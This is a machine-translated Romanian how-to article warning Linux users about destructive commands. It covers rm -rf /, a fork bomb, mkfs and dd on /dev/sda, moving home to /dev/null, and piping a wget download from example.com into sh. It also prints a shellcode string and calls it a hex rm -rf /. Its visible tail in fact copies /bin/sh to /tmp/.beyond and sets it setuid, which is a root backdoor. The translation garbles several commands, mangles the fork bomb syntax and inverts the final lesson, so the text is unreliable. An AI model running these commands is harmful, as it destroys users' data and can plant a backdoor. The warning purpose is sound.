Pagina principala » HOWTO » 8 Command Deadly nu ar trebui să rulați niciodată pe Linux

    8 Command Deadly nu ar trebui să rulați niciodată pe Linux

    Comenzile terminale ale Linux sunt puternice și Linux nu vă va cere să confirmați dacă rulați o comandă care vă va rupe sistemul. Nu este neobișnuit să vezi trolls on-line recomandând noilor utilizatori Linux să execute aceste comenzi ca o glumă.

    Învățând comenzile pe care nu ar trebui să le rulați, vă pot ajuta să vă protejați de trolls și să vă îmbunătățiți înțelegerea modului în care funcționează Linux. Acesta nu este un ghid exhaustiv, iar comenzile de aici pot fi remixate într-o varietate de moduri.

    Rețineți că multe dintre aceste comenzi vor fi periculoase numai dacă sunt prefixate sudo pe Ubuntu - nu vor funcționa altfel. Pe alte distribuții Linux, majoritatea comenzilor trebuie executate ca root.

    Image Credit: Craniul și Crossbones remixate de la Jason Ford pe Twitter

    rm -rf / - Șterge totul!

    Comanda rm -rf / șterge tot ce poate, inclusiv fișierele de pe hard disk și fișierele de pe dispozitivele media detașabile conectate. Această comandă este mai ușor de înțeles dacă este defalcată:

    rm - Eliminați următoarele fișiere.

    -rf - Rulați rm recursiv (ștergeți toate fișierele și folderele din dosarul specificat) și forțați-eliminați toate fișierele fără a vă solicita.

    / - Spune rm să pornească de la directorul rădăcină, care conține toate fișierele de pe computer și toate dispozitivele media montate, inclusiv acțiunile de fișiere de la distanță și unitățile detașabile.

    Linux va respecta cu plăcere această comandă și va șterge totul fără a vă îndemna, deci aveți grijă când o utilizați! Comanda rm poate fi utilizată și în alte moduri periculoase - rm-rf ~ ar șterge toate fișierele din dosarul dvs. de acasă, în timp ce rm -rf. * s-ar șterge toate fișierele de configurare.

    Lecția: Feriți-vă rm -rf.

    Deghizat rm -rf /

    Iată un alt fragment de cod care este pe tot cuprinsul webului:

    char esp [] __attribute__ ((secțiune (". text"))) / * e.s.p
    eliberare * /
    = "\ Xeb \ x3 \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
    „\ Xff \ xff \ xff \ xff \ X68 \ XDF \ xd0 \ XDF \ xd9 \ X68 \ x8d \ X99“
    „\ XDF \ X81 \ X68 \ x8d \ X92 \ XDF \ XD2 \ x54 \ x5e \ xf7 \ x16 \ xf7“
    „\ X56 \ X04 \ xf7 \ X56 \ X08 \ xf7 \ X56 \ x0c \ x83 \ xc4 \ X74 \ X56“
    „\ X8d \ x73 \ X08 \ X56 \ X53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31“
    „\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ X62 \ x69“
    „\ X6e \ x2f \ x73 \ X68 \ x00 \ x2d \ X63 \ x00“
    "Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;“;

    Aceasta este versiunea hex din rm -rf / - executarea acestei comenzi ar șterge fișierele dvs. ca și cum ați fi rulat rm -rf /.

    Lecția: Nu conduceți niște comenzi cu aspect ciudat, în mod evident deghizat, pe care nu le înțelegeți.

    : () : |: & ;: - Bomba de furcă

    Următorul rând este o funcție bash simplu, dar periculoasă:

    : () : |: &:

    Această linie scurtă definește o funcție shell care creează noi copii ale ei înșiși. Procesul se repetă în mod repetat, iar copiile sale se repetă în mod repetat, preluând repede tot timpul și memoria procesorului. Acest lucru poate cauza înghețarea computerului. Este în principiu un atac de refuz al serviciului.

    Lecția: Funcțiile Bash sunt puternice, chiar și cele foarte scurte.

    Credit de imagine: Dake pe Wikimedia Commons

    mkfs.ext4 / dev / sda1 - Formează un hard disk

    mkfs.ext4 / dev / sda1 este ușor de înțeles:

    mkfs.ext4 - Creați un nou sistem de fișiere ext4 pe următorul dispozitiv.

    / Dev / sda1 - Specifică prima partiție de pe prima unitate de hard disk, care este probabil utilizată.

    Luate împreună, această comandă poate fi echivalentă cu rularea formatului c: pe Windows - va șterge fișierele din prima partiție și le va înlocui cu un nou sistem de fișiere.

    Această comandă poate veni și în alte forme - mkfs.ext3 / dev / sdb2 ar format cea de-a doua partiție de pe cea de-a doua unitate de disc cu sistemul de fișiere ext3.

    Lecția: Feriți-vă de rularea comenzilor direct pe dispozitivele hard disk care încep cu / dev / sd.

    comanda> / dev / sda - scrie direct la un hard disk

    comanda> / dev / sda linia funcționează în mod similar - execută o comandă și trimite ieșirea acelei comenzi direct la prima dvs. unitate de disc, scriind datele direct pe hard disk și deteriorând sistemul de fișiere.

    comanda - Rulați o comandă (poate fi orice comandă).

    > - Trimiteți ieșirea comenzii în următoarea locație.

    / Dev / sda - Scrie ieșirea comenzii direct pe dispozitivul de hard disk.

    Lecția: Ca mai sus, aveți grijă să rulați comenzi care implică dispozitive de hard disk care încep cu / dev / sd.

    dd if = / dev / random of = / dev / sda - scrie junk pe un hard disk

    dd dacă = / dev / aleator de = / dev / sda line va șterge și datele de pe un hard disk.

    dd - Efectuați copierea la nivel scăzut dintr-o locație în alta.

    if = / dev / aleatoare - Utilizați / dev / random (date aleatorii) ca intrare - puteți vedea, de asemenea, locații precum / dev / zero (zerouri).

    a = / dev / sda - Ieșirea pe primul hard disk, înlocuind sistemul de fișiere cu date aleatorii de gunoi.

    Lecția: dd copiază datele de la o locație la alta, ceea ce poate fi periculos dacă copiați direct pe un dispozitiv.

    Credit de imagine: Matt Rudge pe Flickr

    mv ~ / dev / null - Mută ​​directorul de acasă la o gaură neagră

    / dev / null este o altă locație specială - mișcarea ceva la / dev / null este același lucru cu distrugerea acesteia. Gândiți-vă la / dev / null ca o gaură neagră. In esenta, mv ~ / dev / null trimite toate fișierele tale personale într-o gaură neagră.

    mv - Mutați următorul fișier sau director într-o altă locație.

    ~ - Reprezintă întregul dosar de domiciliu.

    / Dev / null - Mutați folderul de domiciliu în / dev / null, distrugând toate fișierele și ștergând copiile originale.

    Lecția: Caracterul ~ reprezintă dosarul dvs. de acasă și mutarea lucrurilor în / dev / null le distruge.

    wget http://example.com/something -O - | sh - descarcă și rulează un script

    Linia de mai sus descarcă un script de pe web și îl trimite la sh, care execută conținutul scriptului. Acest lucru poate fi periculos dacă nu sunteți sigur ce este scriptul sau dacă nu aveți încredere în sursa lui - nu executați scripturi nesigure.

    wget - Descărcarea unui fișier. (De asemenea, puteți vedea curl în loc de wget.)

    http://example.com/something - Descărcați fișierul din această locație.

    | - Pipe (trimite) ieșirea comenzii wget (fișierul descărcat) direct la o altă comandă.

    SH - Trimiteți fișierul comenzii sh, care o execută dacă este un script bash.

    Lecția: Nu descărcați și rulați scripturile de încredere de pe web, chiar și cu o comandă.


    Cunoașteți alte comenzi periculoase pe care noii utilizatori Linux (și cu experiență) nu ar trebui să le execute? Lăsați un comentariu și împărtășiți-i!